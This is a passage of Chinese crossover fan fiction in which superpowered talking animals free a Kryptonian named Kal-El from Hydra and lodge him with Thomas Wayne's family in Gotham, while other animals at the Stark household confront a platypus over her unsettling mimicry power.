他是例外。 “他会是例外的。”极乐鸟说到，“我是说，我们至少应该给他一个机会，对吗？” 反正他现在这个样子，就算是突然暴起想要伤人，也没办法伤害我们分毫，至于不想救世这个问题，和是否告诉他一切根本没有关系。 最终结果不外乎是两种情况。 一是他愿意帮忙拯救世界，大家一起努力救世，若是能成功阻止毁灭降临，他也将得到超级英雄的身份，想来钢骨他们也愿意帮他找到新的生活方式。 二就是他不愿意。 在这个情况下，如果必须要这个人参与其中。 那…… 说不定这就是年老的X教授来到这个宇宙的原因吧。 布莱克猜测。 它们宇宙的X教授能力更加强悍，能很轻松的脑控超人，自然那也能让这个年轻人成为一个大家需要的超级英雄。 想到这里，布莱克对极乐鸟点了一下头，算是认同它的说法，给外星人一次机会。 于是，那人第一次听到来自外界的，带着善意的话语。 也收到了生命里第一份请求。 “你的名字，应该是、我猜……你的名字是卡尔，卡尔·艾尔。” 极乐鸟提供的是它们宇宙中超人的本名，那个氪星名字，而“克拉克·肯特”的名字来自肯特农场的肯特夫妇，也就是超人的养父母，在这个宇宙他们没有相遇，所以这个人也注定不会是“克拉克·肯特”。 那就叫“卡尔·艾尔”吧，少一个地球名字也没什么。 “我不知道你是否离开过这里，看过外面的世界，但在这座监狱之外，还有很多你未曾遇见过的美好事物，那些阳光和雨露，它们本该落在你的身上，而现在，我们将修正这个错误，我们会带你出去的。” “只是，那所有的一切都在毁坏的边沿，有一场战争即将爆发，我不知道你是否能了解什么是战争，什么是毁灭，简单解释就是，那些美好的东西都将因此消失，而我们需要你，需要你的帮助。” “请你帮帮我们，好么？”超人。 极乐鸟压制着内心叫出那个称呼的冲动。 布莱克说得对，这不是它们的超人，而且在知道对方的经历后，还要求对方成为超人，这本身就是非常过分的想法。 而对极乐鸟来说，“超人”这个称呼更像是个美好的代表。 就像那个类似于字母S的标志。 是充满希望的象征。 那外星人看着星期五，然后转头，看向玻璃外面的小动物。 布莱克甚至怀疑，这家伙根本不知道什么是“动物”，九头蛇为了更好的控制，很可能没让这人学习正常的生活常识和基础知识，他也许根本分不清人类和动物，只觉得是长得各种各样的生物。 “也没到那个地步……” 也许是布莱克越想越离谱，馍馍在旁边小声反驳它：“这家伙很聪明，学的很快，哪怕没有相关知识，他看到我们，其实就知道出了某种特殊情况了。” “不意外。”布莱克哼哼。 它看向玻璃那边的人。 他没拒绝。 布莱克对星期五说：“走吧。” 星期五刚好也是同样的想法。 他没拒绝。 于是黑雾弥漫开，将小动物和这个人一起裹挟着，带离这受限的空间。 …… ………… “这样会有用吗？” 另一个思维构建的独立空间内，钢骨的声音出现了，他问旁边坐在轮椅上的X教授，年迈的老人为自己构架出一个花园，一把轮椅，一张圆型小茶几和一盘棋。 老人怀里抱着个软乎乎的东西，看起来十分舒适。 那是一只鸭嘴兽。 “会。”鸭嘴兽替X教授回答了钢骨的问题， “我是说，九头蛇那边……” “会。若是他们还有别的办法，就绝不会把地址给你，让他们控制这个人，最终免不了脱离控制，被临阵倒戈的照射了黄太阳的氪星人杀死。” X教授看着远处，在他怀里，那只鸭嘴兽缓缓说着。 “他们连只是接受了部分氪星细胞强化的巴恩斯都无法完全控制，用了两次就只能转去冰冻封存，更不要说这个本尊。” 其实它并不擅长人类的语言，但在思维的世界里，交流本身并不是问题。 “聪明的人知道什么选择最合适，聪明的坏人更是深谙此道。” 最后，薇薇这么总结道。 第70章 卡尔·艾尔沐浴在阳光下。 久违的, 他又一次接触到了太阳。 这时候沙漠的热气也变得让人舒适，温度根本不是问题，他需要的, 一直都只是这一抹阳光而已。 在他身边,一只努力振翅让自己悬停在空中的极乐鸟正陪着他。 而卡尔只是呆呆的看着远处,没人知道他在想什么。 “这不对。”小红站在布莱克的脑袋上。 布莱克“嗯”了一声, 显然是认同小红的说法。 这不对劲。 氪星人的超能力是在照射黄太阳光一段时间后才会出现的, 成年氪星人会比孩童更快的觉醒超能力, 却也不至于在晒到太阳的瞬间就飞起来…… “这就是平行宇宙的魅力吧。”馍馍说着,又问布莱克：“你打算带他去哪？” 布莱克并未隐瞒它的打算，它从不相信这个宇宙的钢骨,救出卡尔后也没有将其交给钢骨的打算。 “哥谭。”布莱克说。 “他需要父母, 可韦恩需要孩子吗？”大红从另一侧走出来, 问它。 布莱克看向大红，神情冷漠。 它自己也不确定这个想法是否可靠。 但蝙蝠侠需要超人，超人也需要蝙蝠侠。 他们是世界最佳搭档。 在这个宇宙, 哪怕超人不是那个超人，蝙蝠侠也不是布鲁斯·韦恩，可…… 也许呢？ “它好别扭。”馍馍对小红吐槽。 小红始终理智且更依赖逻辑，大红从始至终都只想回去，参与这些事情逼不得已，因此心情不佳，对很多事情都持批判态度,它们两只的立场基本统一，而布莱克就有些说不上来了,这家伙一会过度理智到令人发指，一会又突然冒出感性的一面。 “因为现在是由大红和我来做负责质疑的那个嘛。”小红跟馍馍解释, “一个人负责提出一个想法，另一些人负责质疑，这样大家都比较冷静。” 馍馍：？ ？ ？ 馍馍不懂你们哥谭动物的相处方式。 而且这样真的能冷静吗？不会吵起来吗？ ？ ？ 会么？ 小红无辜的歪头。 “会的哦，不过我太小一只，布莱克很容易不小心就弄死我，所以它是不会攻击我的。” 至于大红，那就更不会了。 大红和布莱克因为孵化者之间关系微妙，相处的时候会更加谨慎，轻易不会动爪，就算是出现矛盾，最多也只是用龇牙互相警告。 馍馍：…… 馍馍小声问：“那它们会经常的互相龇牙么？” “每天都会呢。”小红叹气。 馍馍沉默。 它们聊天的时候，布莱克和大红也完成了友好交流。 最终决定是将卡尔带去哥谭。 安置卡尔是个高危问题。 布莱克的想法其实意外的非常理智——既然相信任何人都有风险，那它选择将筹码压在自己孵化者的父亲身上。 无论是在布鲁斯口中，还是阿福口中，韦恩夫妇都是很好的人。 善良、坚定、勇敢、执着。 一切美好的形容都可以安在他们身上。 虽然在这个可怕的平行世界里发生了非常糟糕的事情，布鲁斯的死让他们几乎崩溃，可既然失去了父母的布鲁斯能走出来，那他的父母必然也可以做到，至少布莱克是相信他们可以做到的。 “这想法说起来真残忍。”馍馍嘀嘀咕咕，“而且很奇怪。” 对馍馍来说，死亡就是一次无法抵抗的失去，是代表着永恒坠落的可怕深渊，它不认为有人能从那之中走出来。 而且，蝙蝠侠…… 其实也没有走出来吧？ “他那个样子，真的算是走出来了？”馍馍无比怀疑。 布莱克：…… 好像，有可能，确实不算。 星期五从另一侧走过来，它提醒布莱克：“你说的那些他们身上美好的品质，很可能是生者对死者的过度美化。” “我知道，但相对来说，这是最合适的选择。” 赌人性的善良，自然要去找一个本来就善良的人赌，从这一点来说，托马斯·韦恩比布鲁斯·韦恩本人都更加可靠。 高空中。 卡尔低着头。 “他们在，聊什么？” 他不是在心里，而是轻声，对极乐鸟发出询问。 极乐鸟叽啾叫了两声，落在卡尔的肩膀处，贴着脖子的位置，探头用脑袋磨蹭他，以此来安慰感到不安的人，它能感觉到卡尔想要逃离这里，以卡尔的角度来说，留在九头蛇的基地里被那些人安排，和被小动物们安排，这两者之间可能没什么区别。 它们知道自己在尽量给卡尔更好的安排。 可卡尔又无法理解这些事情。 而最大的麻烦也正是如此，道理上它们应该先跟卡尔沟通，让他自主选择，可它们并不知道这个世界的灭顶之灾什么时候会来，时间还有多少，当然要尽快行动。 之前能让他自己选一次，已经是极乐鸟能争取到的极限了。 要是每一步都从头开始跟卡尔分析，让卡尔自己选择，它们很可能会寸步难行。 极乐鸟没有回答。 卡尔似乎知道了其中的意思。 他换了个话题，问：“你不怕我，逃跑吗？之前的人，很怕我逃跑。” 说到这个，极乐鸟发出愉快的叫声。 “啾啾~”完全不怕哦~ “为什么，相信我？” “叽啾~”这也不需要什么特殊的理由嘛。 “走吧，我们带你去一个叫做哥谭的地方。” 布莱克的声音在卡尔脑海里响起。 “那是什么地方？” “……我不确定那对你来说是什么样的，不过那是我出生的地方。” “……走吧。” 卡尔落了下去。 星期五召唤来奇迹，奇迹为他们打开传送门。 他们回到了哥谭，而且直接回到了韦恩庄园的花园里。 然后奇迹又走了。 布莱克&小红&大红：…… 这家伙肯定有什么问题。 “奇迹到底在忙什么？”布莱克问星期五。 星期五摇了摇头，它也不知道。 “你们不是亲兄弟么？”小红也凑上来，好奇的啾啾，“居然连你都不知道它跑来跑去是在做什么？” 星期五：“我们不是亲兄弟，只是互为影子的关系。它是奇迹，奇迹这种东西不讲逻辑、不讲道理，我无法理解它，不也是正常的情况。” 奇迹这种东西不就是这样的吗？ 说着，星期五看向布莱克。 布莱克：“看来你也不喜欢它。” 星期五微妙的哼了一声。 它们这几只对逻辑需求比较高的家伙，都不怎么喜欢“奇迹”，那东西太不讲道理。 小动物们一起来到韦恩宅的大门口。 布莱克正经去按了个门铃。 而开门的，是玛莎。 也就是韦恩夫人。 “托马斯说你们还会来的，没想到你们真的来了。” 玛莎身上还带着属于小丑的疯癫，她略微昂起头颅，眼珠子却往下转，视线古怪的盯着布莱克看，也不知道从布莱克身上看到了谁。 “这是客人吗？”玛莎的视线落向它们身后，站在动物之中的人类身上。 馍馍没敢把玛莎接入群聊，这家伙身上的负面情绪不比旺达少，旺达还知道克制，知道那些是不好的，这叫做玛莎的人类却没有任何自我控制的迹象，她就像是个负面情绪反应堆，不断往外散发着恶意。 对世界的，对命运的，对所有东西的。 “她是……怎么回事？”馍馍偷偷戳了戳布莱克，问。 布莱克沉默不语。 赌韦恩夫妇的良心有个绕不开的问题，那就是已经疯掉的玛莎。 它们身后的卡尔似乎也从玛莎的肢体动态和神情上读到了某种异常的信号，他为此而退后了少许，还是极乐鸟在他耳边唧唧啾啾的唱起了歌，这才稳定住卡尔因为变故而额外敏感的神经。 “你帮我们跟她说话，好不好？”小红向卡尔提出请求。 “你们为什么不自己跟她说？就像我们这样。”卡尔在心里反问它们。 “她的精神太不稳定了，我不敢让她加入我们，”馍馍替小红回答了卡尔的问题，“一旦那么做，稍有不慎，她不稳定的精神就会感染我们。” 那就麻烦大了。 卡尔听了之后迟疑片刻，试着开口去复述小动物们在心灵沟通中告诉自己的那些内容。 “这些……小动物，它们来拜访韦恩，是为了……希望蝙蝠侠能暂时收留我。” “你居然可以和它们沟通啊……”玛莎因此发出夸张的叹息，然后笑开，“好啊，没关系，都进来吧。” 她敞开门。 黑漆漆的韦恩宅院像是个可怕的巨兽。 面前的门也不像是一扇门。 它更接近于巨兽血淋淋的嘴巴。 里面有猩红的舌，和白森森的獠牙。 当这扇门合上的瞬间，所有进入其中的生物都将被这可怕的巨兽撕碎。 布莱克第一个走了进去。 它习惯了这种无声的威胁，知道这是蝙蝠侠给所有入侵者的警告，这个托马斯版本的蝙蝠侠虽然比布鲁斯版本的蝙蝠侠更加残暴，但在细节方面，两人选的表达方式让人意外的非常接近。 这就是…… 所谓的父子相？ 布莱克不太确定。 它走近韦恩的黑暗中，走上二楼，跟着托马斯的气味，沿着走廊前进。 月光透过窗户洒入走廊中。 它们像是在踱步中世纪被诅咒古堡中的魅影。 “……一定要把气氛搞得这么奇怪吗？” 馍馍忍了忍，还是没忍住，用微弱的声响来抗议。 “嘘……” “这是蝙蝠特色。” 极乐鸟神神秘秘的回应它。 而其他小动物选择对此保持沉默。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 好消息, 蝙蝠侠同意卡尔暂时住在韦恩庄园，并允许他去阅读韦恩的巨大藏书库。 当然，卡尔看不懂。 另一个好消息则是玛莎居然愿意教卡尔认单词。 在这一刻她回到曾经的模样, 恬静、耐心、亲人, 所有属于母亲的美好词汇都可以堆砌到她的身上。 于是, 玛莎在午后教卡尔知识。 而托马斯就在远处看着。 韦恩庄园从某种意义上来说, 找回了它该有的模样。 “说起来。”极乐鸟像是才刚想起来这件事情一般, 提道, “虽然杰森可能还没出生, 但这个世界的迪克会不会已经出生了？这里有哈利马戏团吗？” “这个世界有飞翔的格雷森吗？” “查查看不就知道了。” 在知道小动物们智力与人类持平，并且会使用电子产品之后,玛莎为它们提供了一些娱乐用的东西,比如手机。 馍馍圈着个手机,窝在沙发上，用蹄子扒拉。 “有哦，飞翔的格雷森。”馍馍还真查到了, “而且他父母都活着，他们一家还是飞翔的格雷森，依然跟着哈利马戏团在各地巡演。” 他们来过哥谭，表演完就走了。 现在迪克大概15岁左右，如果从这里来推算，那这个宇宙的杰森又有可能已经诞生了，只是不知道在世界的哪个角落里。 就是…… “这几个人的年纪是不是对不上号？” 馍馍又翻出一条新闻,上面是纽约的消息，大概是霍华德·斯塔克的事情,上面有提到霍华德的年纪，还有霍华德独子。 托尼·斯塔克也才刚成年而已,已知托尼和布鲁斯基本同龄，那迪克怎么就十来岁了？ 迪克不是布鲁斯二十来岁才捡回来的吗？ 捡回来的时候不才9岁还是8岁来着？ 几只小动物面面相觑。 然后一起决定放下这个问题。 毕竟这里不是它们的宇宙。 这里绿灯侠是个外星人，卡尔·艾尔第一天晒到太阳，蝙蝠侠精神问题严重到吓人，小丑都变成玛莎了，小丑女依然喜欢她。 嗯…… 毕竟这是平行宇宙嘛。 奇奇怪怪一些又怎么了？ 它们看这边的人事物时间线完全扭曲，同理，这里的人若是看到它们所经历的时间线，恐怕也会看得一愣一愣的。 别的人布莱克不清楚，但它猜，至少韦恩夫妇会喜欢它们的时间线的。 大猫猫打了个巨大的哈欠，决定去睡觉。 除非立刻世界末日，否则谁也别想打扰它睡觉。 …… ………… 巴基和史蒂夫凑在一起看电视剧。 用电脑。 前情提要是巴基想要了解一下现在的世界，史蒂夫正好也需要这项活动，霍华德就安排他们两个一起玩电脑。 随便上点网，随便看些东西。 霍华德教他们如何在搜索引擎上查阅信息，筛选内容，用一些软件找视频，甚至是帮他们安装了几个据说现在比较流行的游戏。 霍华德自己不玩游戏，但托尼到底是年轻人，不可能完全不懂这类东西。 “让两支老冰棍在这里玩游戏这是什么好主意？” 托尼看着霍华德，从他的表情不难看出，他对霍华德的提议非常不赞同。 霍华德有一套自己的理论。 “只要能接触到新世界，没什么是不好的。兴趣就是最好的老师，想要尽快学习电子产品，就要保证那上面有他们喜欢的东西。” 不过巴基和史蒂夫没选择游戏，用电脑看资料也不太符合他们的阅读习惯，两人挑挑拣拣，最终选择了科普向的教育片，开始了追剧生涯。 托尼凑过去看了一眼，无语的发现那正好是给老年人科普智能手机的。 一边看，一边对着折腾霍华德给他们的手机。 “……好吧。” 托尼只能无奈的承认，霍华德做法确实可行，至少这两支老冰棍已经能熟练的使用鼠标和键盘，对智能手机的使用方法也有了理解。 对此，霍华德笑得略有些嘚瑟。 他就知道这套绝对可行。 首先，年纪是个巨大的问题。 与其等待这两人什么时候琢磨好开口询问，不如教会他们如何在网上搜索答案，这样有什么想要研究的，他们就能自己弄清楚，不需要去麻烦别人，也不必因为思考自己是否给他人带来麻烦和困扰而感到压力。 其次…… 看看托尼吧，这不就是最好的案例吗？ 如果不是这孩子自己的爱好正好，霍华德想，单凭他自己可教不出这样天才的孩子。毕竟他自己清楚，严格来说，他并没有以父亲的身份好好照顾过托尼。 在他能挤出来的时间中，百分之九十都给了科学，以及那些真的很伟大的事业，剩余不多的还要分出很大一部分去寻找美国队长的下落。 再剩下的，他给了玛利亚。 最后最后那一丁点，就是他和托尼的父子时光。 那才能有多少？ 那是少到霍华德自己都会想笑的程度。 托尼沉默的看着霍华德。 旁边的小动物们也沉默以对。 “爸，”犹豫片刻，托尼还是指着自己的头告诉霍华德，“你的脑子在我的脑子里说话。” “什么？？？” 霍华德没能理解托尼的那句话。 “实际上，是我，连接了你们。”一个小女孩的声音同时在他们的脑海中响起，“我叫薇薇。”她自我介绍。 薇薇。 是一只小动物。 也许是之前把布莱克搞炸毛的经历，让薇薇意识到自己的情况比较特殊，最好是先表明自己的能力，这样对大家的心脏比较好。 “你可以……做什么？” 锈斑猫喵呜叫出声来，同时也在脑子里重复自己说的话，这样就算没有玛利亚的翻译，霍华德也能听懂它在说什么了。 “我可以，拟态。” 薇薇是这么形容自己的能力的。 拟态。 而不是拟人。 拟人只是可以变成人而已，在它们的宇宙，超英超反扎堆下，变异种类多如狗，拟人本身不是什么稀奇能力。 可若是“拟态”。 那就有些特殊了。 多纳滋开口询问：“你的能力是拟态，那意思是你可以伪装成很多东西，不限于人类？” “对。” “那非生物呢？”多纳滋似乎只是单纯的有些好奇。 这个问题把薇薇难住了。 她认真思考片刻，给出一个模棱两可的回答。 “也许。” 多纳滋立刻听出她的潜台词，向她确认，“你还没试过那个？” 薇薇坦然道：“从没有那种需要。” 多纳滋的判断是薇薇没有撒谎，然后它看向锈斑猫，锈斑猫正在好奇别的事情，喵呜着问：“那如果你变成机器，病毒可以攻击你么？” 薇薇：“……不知道。” 大概是有点儿不祥的预感吧。 薇薇突然安静了下来。 塔塔像是感觉到她在害怕，出声安慰：“不用害怕哦，猫猫不会攻击你的，它只是有一点点好奇，想要知道你的事情而已。” 薇薇：“……” 薇薇：“这，已经很可怕了。” 塔塔不懂。 锈斑猫也不懂。 只是研究一下下嘛…… 如果薇薇像幻视那样，忍不住的锈斑猫可能会直接动手。 可现在薇薇不在它们边上，再加上变成机器这点本身需要薇薇的主动配合，锈斑猫就没有直接动爪子，而是想办法让薇薇妥协。 “喵~” 小猫猫柔软的叫唤，试图撒娇来萌混过关。 这是它在人类那里养成的习惯了，每次被发现偷吃，只要锈斑猫一翻肚皮，无论是斯塔克还是鹰眼，又或者那个总是对它们的亲近表现出疏离的班纳博士，都会发出叹气声，或者惊叹的动静，然后果断放弃继续追究小猫猫责任的念头。 所以现在，锈斑猫理所应当的认为撒娇也可以解决这个问题。 可惜……薇薇也是小动物。 谁还不是个毛茸茸呢？ 锈斑猫的撒娇没能引来鸭嘴兽的妥协，倒是把小憩中的薮猫惊动。 在锈斑猫打着滚歪着脑袋卷着尾巴咕噜的时候，薮猫跑过来团在它边上给它舔毛，时不时的看一眼边上的窗户。 多纳滋也在看着那边。 没过一会，窗户吱呀一声被拉开，薇薇就这么出现了。 毛茸茸的鸭嘴兽笨拙的摆动着比水獭还不适合在岸上活动的身体，摇摇晃晃的爬了进来。 因为窗台太高，她几乎是一头扎在了地上。 “……” 一时之间，屋子里的人和动物全部愣住。 玛利亚反应最快，拿着个毛巾就小跑过来，将鸭嘴兽抱到怀里，仔细检查。 “还好没有受伤……” 鸭嘴兽可不是猫猫，这东西身体结构不太行，不怎么经摔。 锈斑猫目瞪口呆的看着鸭嘴兽。 鸭嘴兽则坦然的看了回去。 然后，这家伙就这么在玛利亚的怀里，翻起肚皮，猫猫似的摇晃起那条扁平的大尾巴，整只鸭嘴兽也跟着在那扭啊扭啊的，但因为身体结构没有猫猫灵活，脑袋晃脑袋的，尾巴摇尾巴的，有些不协调，乍一看像个笨笨的大宝宝。 明明一点都不擅长做这些灵活的动作，却拼命努力，还用黑漆漆的眼睛看着玛利亚，顿时就让玛利亚移不开目光。 这一幕直接把锈斑猫整傻眼了。 它意识到薇薇这是在模拟它刚才的那套动作。 考虑到这家伙的能力是“拟态”，锈斑猫有理由怀疑薇薇并不是无法完美复刻它的动作，而是这家伙已经意识到太完美的模仿只会引起人类的警觉，那无疑与它的目的背道而驰，反而是适当的“错误”能得到更好的反馈，是更符合它需要的东西。 锈斑猫顿时被气得喵喵叫起来。 这家伙分明是故意摆出笨拙的样子。 唯一的目的就是为了得到人类的关注和喜爱！ “喵呜——” 这家伙就是只小辣鸡——！ ！ ！ 第72章 塔塔愣愣的看着锈斑猫,它本来正在沙发上趴着呢，此时也探出脑袋，并在脑袋上冒出一个小问号。 感觉……很奇怪啊。 鸭嘴兽那副专注的看着人类的模样…… 怎么好像……是塔塔的能力？ ？ ？ “嘤嘤？？？”是我错觉吗？ ？ ？ 塔塔扭头去问趴在沙发附近发呆的大金毛。 多纳滋也在看着鸭嘴兽,它的第六感告诉它,鸭嘴兽的情况确实过于特别,那个“拟态”的上限到底是什么？ 难道不仅是模拟某个物种,还能直接模仿它们,甚至包括了它们的能力？ 看起来,薇薇的拟态比它们最初猜测的更加全面。 不安的塔塔跳下沙发,扒拉着大金毛，见多纳滋没有反对,就挤到大金毛身上,和帕夫拱在一起。 鸭嘴兽在玛利亚怀里翻着肚皮,脑袋昂着，它那圆圆笨笨的身体一旦这样翻过来，都侧不过头,就只有眼珠子偏向锈斑猫和其他小动物这边。 “不要、害怕、我。” 鸭嘴兽一个单词一次停顿，慢吞吞的说。 这声音沿着小动物之间的链接，直接传递给它们，顿时就有一种毛骨悚然的感觉顺着小动物们的脊背爬了上去。 塔塔楞在原地，多纳滋站起身，水獭因此从多纳滋身上滚下去，不过它刚好落在多纳滋身后, 被金毛的阴影遮蔽。 帕夫则立了起来，就在多纳滋的头顶,黑豆子似的眼珠冰冷的盯着鸭嘴兽。 锈斑猫顿时炸毛，它从薮猫怀里跳起,直接跳到金毛和鸭嘴兽之间，它背毛全部竖起，瞬间变身成一只剑背龙，冲着鸭嘴兽发出代表驱逐的哈气声。 薮猫紧随其后，不过它没有炸毛，只是陪伴在锈斑猫身旁，以警惕的姿态盯着鸭嘴兽看。 奇怪的是，人类似乎对那种异常的诡异信号毫无感觉。 霍华德和玛利亚都被小动物们的反应吓到了，特别是玛利亚正抱着鸭嘴兽，这就让现场情况看起来额外的不对劲，小动物们突然的攻击性仿佛是冲着玛利亚去的。 也许是被这突然的情况吓到，玛利亚下意识的抱紧怀里的鸭嘴兽。 于是，锈斑猫炸毛的状态更加严重了。 这时候，多纳滋突然叫了一声。 “汪。” 没有具体的意思，所以在薇薇的精神连接中，它也只是“汪”了一声。 不过也就是这么一声单纯的犬吠，生生打断了现场有些过于紧绷的气氛，大家不由自主的回头看向多纳滋。 “怎么……？”霍华德发出声音。 出声时他才注意到，自己的声音有些发颤。 原来人类并非没有被薇薇影响到，而是那种影响藏的更深，在他们试图控制自己的身体做出行动之前，几乎没有任何明确的表现。 是布莱克的那种恐吓？ 锈斑猫的大脑快速转动，无意间，它与多纳滋对上视线，看见多纳滋对自己摇了摇头。 不是那种恐吓。 布莱克的恐吓更接近于外在的压力，而薇薇做出的效果却像是某种由内而外的影响，麻烦的是它们没有心灵屏蔽的手段，面对薇薇的精神影响，很难做出有效的反制手段。 多纳滋再次摇了摇头。 还没有完全冷静下来的锈斑猫不解的看着它，“喵？”你能做什么？ 嗯？ 怎么是喵喵喵？ 这时锈斑猫突然注意到，薇薇提供的精神链接居然中断了。 “喵呜？”你做的？你的能力不是……反制？连精神力都能反制了？ 多纳滋点头认下这点，“汪”着告诉锈斑猫：只要我的选择是绝不后退的话，理论上我能反制所有的东西。 “喵？”所有的？ “汪呜……”理论上，是的。 但到底会是什么情况，没有进行足够的尝试，多纳滋其实也无法百分百确定。 “喵。”记得霍华德、玛利亚和托尼他们。 多纳滋：“汪。”一个都没忘。 它们这些小动物对事物的认知还不算完善，对自己能力的推测也比较片面，理解方面自然会产生偏差。 再加上它们才诞生不久，能力还在成长中，能力的表现也不稳定。 它们自己也不太懂自己到底是什么情况。 比如说多纳滋，严格来说，多纳滋的能力并不是反制。 它的能力是“盾”。 只要它不后退，这面盾就会一直挡在同伴身前。 无论是在真实的空间范围内，还是在它们的精神世界中。 而且这次多纳滋控制的更加精准，在屏蔽负面影响的同时，还能避免对于连接的干扰，只要多纳滋在这里，薇薇就只能乖乖连接它们的精神，而无法借此伤害它们。 “我没有打算伤害你们。”薇薇试着向其他小动物说明这件事情，“是你们对我过于警惕了，这份警觉变成恐惧，是你们伤害了你们自己。” 馍馍的能力更接近吸收和储存，而薇薇的则是放大和催化。 “而且这种能力是被动的，不是我有意为之。” 说到这个，薇薇还挺委屈。 馍馍想不吃就可以不吃，它却没办法做到那一点。 “喵。”薮猫突然温和的叫了一声：能力是被动的，但你的心态是可以控制的。 “喵呜。”对啊！ 锈斑猫立刻反应过来，对薇薇喵咪叫着：你也可以选择不去拟态，或者在拟态之前先告诉我们你的情况，而不是这样，突然摆出一副异常的状态给我们看。 对此塔塔非常支持，它抱着多纳滋的前爪，从大金毛肚子下探出脑袋。 “嘤嘤！”就是嘛！你分明乐在其中，是故意来吓我们的！ 薇薇：“……” 小爱好被猫和水獭直接道破，薇薇移开了视线，随后又十分哀怨的撇了一眼塔塔和锈斑猫的方向。 这次它的影响没有生效，已经发觉不对的多纳滋密不透风的保护着同伴的精神世界。 薇薇坚称那种影响不是自己的本意。 “之前我也和那只叫做布莱克的黑豹这样靠近过，它就没有受到干扰。” 薇薇嘀嘀咕咕。 锈斑猫无语道：“它自带屏蔽， X教授和绯红女巫都不一定能拿它有什么办法，你怎么可能影响到它。” 薇薇就更加无辜了。 “咳咳。”人类的咳嗽声打断了它们。 是霍华德。 霍华德：“呃，抱歉打扰你们的交流，但……有没有谁能跟我解释一下？我是真的听不懂你们在说什么，而且我坚持要知道发生了什么。” 毕竟刚才的精神攻击这么明显，人类会感到威胁也是正常的。 锈斑猫再次发出哈气：“你给我出来。”它对鸭嘴兽说。 鸭嘴兽十分无辜，不过还是努力从玛利亚怀里扭动出来，落在地上，往前爬，不过对于它来说，这种行动真的挺困难的，玛利亚看着实在有些难受，于是走过去将它抱起来，放到一旁的单人沙发上。 玛利亚自己则到另一边的沙发上落座，并抱住了立刻跳上来的锈斑猫。 为了安抚生气的小猫，玛利亚用手指轻轻给它梳毛。 “别生气了，我们还要谈事情呢，对吧？” “喵……” 面对玛利亚轻声细语的安抚，锈斑猫迅速收敛了脾气，背毛也顺了下来，并很快在玛利亚怀里发出咕噜声。 霍华德在玛利亚身旁坐下。 多纳滋在他们前方趴下，面对鸭嘴兽的方向。 塔塔想了想，努力爬上霍华德和玛利亚坐的沙发，不过它没去人类身上，而是趴在沙发宽厚的扶手上。 接下来塔塔简单向人类说明刚才发生的事情，薇薇自称是无意识带来的负面影响，以及多纳滋的能力对大家精神的保护。 霍华德应该是听懂了，不知道在想什么。 玛利亚则微笑着安抚小动物们的情绪，表示大家都没受伤就好，并认为鸭嘴兽刚才的说法有点含糊，无论如何薇薇都吓到了其他小动物，应该更慎重的做出道歉，并在之后努力控制好自己的能力，尽可能不去伤害其他人类或者小动物。 薇薇哼哼着，倒也认可玛利亚的说法，小声道了歉，其他动物自然不会跟它计较这个。 但是之后是否还会产生同样的问题…… 薇薇纠结了一下，无奈的摇头。 鸭嘴兽的脑袋晃来晃去。 “我无法保证，那个是没办法控制的情况……” “这就好像变色龙跟着温度变化改变自身的颜色一样，是一种自然反应，不是受到我自身意志调控的东西。” 听完鸭嘴兽说的话，霍华德抬手提问：“你说话一直是这样的吗？” “什么？” “有时候非常清晰富有逻辑，有时候又比较……幼稚，直白。” 薇薇：“嗯……因为有些话是从其他人那，听来的，我只是，复述给你们。” “像复读机那样？” “差不多。” “刚才那段话是从哪里拷贝过来的？” “ X教授，我跟他……讨论过，一些，我的事情和情况，他帮我做出分析。” “所以，我可以理解为，那并非你的自我认知，而是你从他人口中认知的自我？” “……” 薇薇因为霍华德的问题而愣住了。 这时候，一直站在多纳滋头顶上的帕夫突然提出一个全新的问题：“我们被交汇过来，也是你做的？” 这个问题出乎其他小动物的意料。 大家一起看向鸭嘴兽。 薇薇无辜的歪着脑袋看着帕夫。 “不是，交汇是自然现象，我不能控制自然。” “你能拟态自然吗？”帕夫又问。 不能控制自然，那能拟态成自然吗？ “……” 这个问题让霍华德张大了眼睛。 拟态成……自然？ 这些小动物到底在说什么恐怖的事情？ 第73章 “我还是想不明白。” 韦恩庄园内, 布莱克承认了这件事情。 “你们，还有X教授，你们到底打算做什么？” “我们？”馍馍歪着头,非常无辜。 布莱克看着它这个模样,就想到了那只鸭嘴兽,都是一模一样的家伙,强大的力量,乖萌的外表,喜欢装无辜,又喜欢搞事情来恐吓他人。 这两只明明不是同位体，却非常的相似, 这本身也是一个可疑点。 不过现在布莱克还是更在意X教授的选择。 如果只是它们两只,布莱克会怀疑它们只是想搞一些事情,又或者因为一些巧合它们不得不参与交汇，为了不让旅途那么无聊，就把周围认识的其他小动物一起祸害进来。 当然,也可能是食梦貘和鸭嘴兽之间有些特殊关系，当馍馍注意到经历了两次交汇的薇薇出现了失忆状态，就主动参与其中想要帮忙。 无论哪一种都有可能。 只是X教授为什么要参与这些事情。 就算他想要帮助失忆的薇薇，也不必搞的这么神神秘秘。 “X教授？” 托马斯参与了他们的对话。 “ X教授……”布莱克思考着该怎么跟托马斯说这个人的情况，可它也不知道年轻的X教授在这个世界的生平，干脆直接将对方的名号报出来，让蝙蝠侠自己去查, “查尔斯·泽维尔，一只变种人。” 这个宇宙的蝙蝠侠看起来不问世事, 所管的仅仅是哥谭内部而已，实际上眼线也不少, 他依然知道外面都在发生的事情，只不过没有兴趣罢了。 托马斯知道世界上正在出现变种人。 很难说一直对陆地只是不喜欢，说不上多厌恶多想入侵陆地的亚特兰蒂斯突然有了动作，是不是有“变种人”出现的原因。 变种人将给陆地人带来非同寻常的强化，斯塔克带来的科技力量，还有一些因为实验室爆炸或者别的射线而诞生的特殊变异人，人类这边的力量已经加强到一个十分微妙的水平，让拥有女巫的魔法侧亚特兰蒂斯人感到紧张。 尤其是今年开始，亚马逊人也明确站在陆地人这边。 那些海底人终于开始感到恐慌了吧。 哪怕海王是半个陆地人，也依然决定开战，意图将危险消灭在襁褓之中。 托马斯合理推论，开战的原因应该就是这样。 很有逻辑，残酷但很正常。 “……嗯，”通讯器上，钢骨有些尴尬的解释，“其实，也不全是那些原因的。” “那是为什么？”托马斯疑惑地问。 大家都知道现实是不讲道理的。 可它有时候太不讲道理了。 钢骨无奈的向托马斯传递了亚马逊人和亚特兰蒂斯之间的爱恨情仇，以及亚特兰蒂斯这一代继承者的各种复杂情况。 变种人的出现只能说是个催化剂，核心原因还是亚特兰蒂斯的内部问题。 两名人类聊起了别的事情。 